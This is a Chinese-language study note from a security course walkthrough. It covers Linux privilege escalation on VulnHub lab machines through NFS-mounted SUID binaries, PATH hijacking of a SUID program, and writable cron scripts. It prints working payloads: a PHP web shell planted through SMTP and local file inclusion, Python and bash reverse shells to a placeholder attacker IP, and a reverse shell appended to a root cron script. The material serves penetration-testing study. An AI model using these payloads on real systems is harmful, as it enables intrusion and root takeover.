小迪安全v2023学习笔记(一百四十天)—— Linux系统权限篇VulnhubPATH变量NFS服务Cron任务配合SUID
文章目录
- 权限提升——第一百四十天
- Linux系统权限篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
- 前置知识
- 所处环境
- 什么是NFS?Cron?PATH?
 
- Linux系统提权 - Web&用户-NFS安全
- Linux系统提权 - 普通用户-PATH变量
- Linux系统提权 - Web&用户-Cron任务
 
 
权限提升——第一百四十天
Linux系统权限篇&Vulnhub&PATH变量&NFS服务&Cron任务&配合SUID
前置知识
所处环境
-  本节课我们所处的位置和上节课一样,依然是Web用户或者普通用户到系统用户的跨越: 
  
-  然后回顾一下Linux的提权手段有: - 内核溢出漏洞提权
- suid、sudo、nfs、path、ld_preload、cron、lxd、capability、rbash等
- 数据库类型提权
 
-  那么本节课主要是关于NFS、Corn和PATH的提权方式 
什么是NFS?Cron?PATH?
- NFS是一种基于客户端-服务器模型的分布式文件系统协议,允许用户像在本地工作一样在远程系统上查看、更新和存储文件。它基于TCP/IP(或早期版本的UDP)进行文件传输和交换。
- Cron是Linux和Unix系统中用于定时执行任务的程序,允许用户在指定时间自动执行脚本、命令或软件。
- PATH是操作系统中的一个环境变量,用于指定系统在执行命令或程序时,可以在哪些文件夹中查找可执行文件。
Linux系统提权 - Web&用户-NFS安全
-  环境复现:hacksudo: 2 (HackDudo) ~ VulnHub 
-  前提条件:NFS端口服务开启和web或用户权限进行利用 
-  这个靶机需要用Virtualbox搭建,导入之后将网络改为 Host-Only:
  
-  然后设置中搜索网络适配器看这个网卡在哪个网段: 
  
-  再用雪影或者nmap扫这个网段,发现目标主机IP为 192.168.56.101,并且开启了nfs服务:
  
-  我们使用如下命令去显示NFS(网络文件系统)服务器上所有已导出的文件系统列表的命令: 
showmount -e <IP>

- 这里表示它的NFS共享文件夹为/mnt/nfs,我们在本地创建一个文件夹,和它进行连接:
# 创建nfs文件夹
mkdir /tmp/nfs
# 把目标的/mnt/nfs目录跟kali本地的nfs目录进行同步
sudo mount -t nfs <IP>:/mnt/nfs ./nfs

- 此时我们/tmp目录下的nfs文件夹就和目标主机的/mnt/nfs为同一个文件夹了,我们可以在这里创建一个高权限的程序,然后利用这个来进行提权,比如这里我们用上传find程序:
# 查看本地find路径
whereis find# 使用root用户上传到nfs文件夹
sudo cp /usr/bin/find ./nfs/find1

-  给足权限: 
  
-  然后我们如果能拿到对方普通用户的权限,就能够直接利用上传的find1程序进行提权,这里刚好开启了Web服务,并且存在任意文件读取漏洞: 
http://<IP>/file.php?file=/etc/passwd

-  于是我们就可以在nfs中上传一个后门文件,然后让他解析这个文件,尝试哥斯拉连接: 
  
  
-  我们用昨天的网站直接利用SUID提权的命令: 
./find1 -exec /bin/sh \; -quit

- 这里执行失败了,原因是我们的Kali中的glibc版本比较高,而目标主机中动态链接器找不到对应版本符号拒绝加载,导致无法执行,这里有两种解决办法: - 找一个与目标版本相似的系统,上传这个系统的find
- 找一个与目标版本相似的系统,自己写一个c语言去调用命令
 
- 那我们就直接写一个C程序去进行提权即可:
#include <stdlib.h>
#include <unistd.h>
int main() {setuid(0);system("id");system("whoami");
}
- 这里直接在kali上写上面的C语言程序,然后采用静态链接加载这个文件即可:
gcc -s -static -o getroot getroot.c
chmod 777 getroot
chmod +s getroot

- 可以看到,成功提权!这里就直接可以用这个程序进行命令执行,或者让这个程序起一个新的终端
Linux系统提权 - 普通用户-PATH变量
-  环境复现:https://www.vulnhub.com/entry/symfonos-1,322/ 
-  前提条件:存在SUID的应用中能执行额外命令加用户权限 
  
-  开通了Web服务,我们这里可以通过SMB服务找到网站的后台路径 /h3l105,我们访问:
  
-  这里是WordPress搭建的网站,直接找历史漏洞尝试打进去,可以用kali自带的wpscan扫描: 
wpscan --url http://<IP>/h3l105/ --plugins-detection aggressive

- 这里就用这个漏洞尝试打进去,我们用searchsploit去搜索这个漏洞:
searchsploit mail masta 1.0

-  kali自带有这个漏洞的EXP,那就直接找到对应EXP文件利用了,这里在 /usr/share/exploitdb/exploits/php/webapps/40290.txt位置:
  
-  然后上面是它的利用Payload,任意文件包含漏洞: 
http://<IP>/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

- 这里因为它开启了25端口,我们可以利用发送邮件的方式去写入一个邮件后门,然后利用LFI去包含该邮件信息去触发我们的后门代码:
# telnet连接25端口
telnet <IP> 25# 输入如下内容写入后门
MAIL FROM: MALABIS
RCPT TO: helios
data
<?php system($_GET['shell']); ?>
.
QUIT

- 之后先启动监听,然后访问这个页面,传入反弹Shell的参数值:
http://<IP>/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&shell=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<攻击机IP>",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

- 成功接收到反弹Shell,然后尝试提权,我们先找一下有没有可以利用的SUID文件:
find / -perm -u=s -type f 2>/dev/null

- 因为这种程序文件很多都是由命令写出来的,所以我们可以看看它里面的一些信息,看看有没有可以利用的命令:
strings /opt/statuscheck

-  可以看到这里有个curl命令,这个命令是在我们这台主机上存在的,它的路径为: 
  
-  而直接使用curl就可以识别的原因是系统将这个目录放进了环境变量,我们输入如下命令可以看到当前环境变量中的文件路径: 
echo $PATH

- 当系统遇到一个命令时,就会按照从左到右的顺序去环境变量中找对应的文件,尝试执行,这里/usr/bin目录在环境目录下,因此能够找到curl文件并执行
- 而这个我们是可以控制的,我们可以临时设置当前的环境变量路径,所以我们只需要在一个可写文件夹下,创建curl恶意文件,将该目录放到环境变量下,然后执行带有SUID的statuscheck命令,我们就能够拿到高权限用户了,调用过程相当于:
statuscheck(suid)  -->  curl(suid)  -->  root
- 直接如下命令进行利用:
cd /tmp
# 如果这里要用/bin/bash起一个新bash的话,需要先python起一个bash
echo "whoami" > curl
chmod 777 curl
# 将/tmp目录临时放入环境变量
export PATH=/tmp:$PATH
echo $PATH
/opt/statuscheck

Linux系统提权 - Web&用户-Cron任务
-  环境复现:https://www.vulnhub.com/entry/jarbas-1,232/ 
-  前提条件:Web或用户权限进行查看,任务文件可修改 
  
-  同样直接来到入口点,这里是Jenkins的一个网站,通过 http://192.168.139.152/access.html页面泄漏的账号密码登录后台,创建任务反弹Shell:
账号:eder
密码:vipsu

bash -i >& /dev/tcp/<IP>/8888 0>&1
-  先起个监听,然后保存并立即构建项目,就能够收到反弹回来的Shell了: 
  
-  这里我们采用计划任务的方式去提权,我们可以查看计划任务: 
cat /etc/crontab

- 里面有个5分钟执行一次的脚本,一般我们都是没有直接创建计划任务的权限的,所以通常是看有没有权限去修改计划任务中已存在的文件,而计划任务中的文件都是以高权限执行的,所以我们可以利用提权
- 这里刚好我们可以修改这个文件的内容:
ls -lia /etc/script/CleaningScript.sh

- 因此我们可以先起个监听,然后写入反弹Shell的命令,尝试拿到高权限:
# 写入反弹Shell命令
echo "/bin/bash -i >& /dev/tcp/<IP>/8888 0>&1" >> /etc/script/CleaningScript.sh# 查看是否成功写入
cat /etc/script/CleaningScript.sh
- 然后等待几分钟,就可以看到成功接收到反弹的Sehll,并且是高权限用户:
  
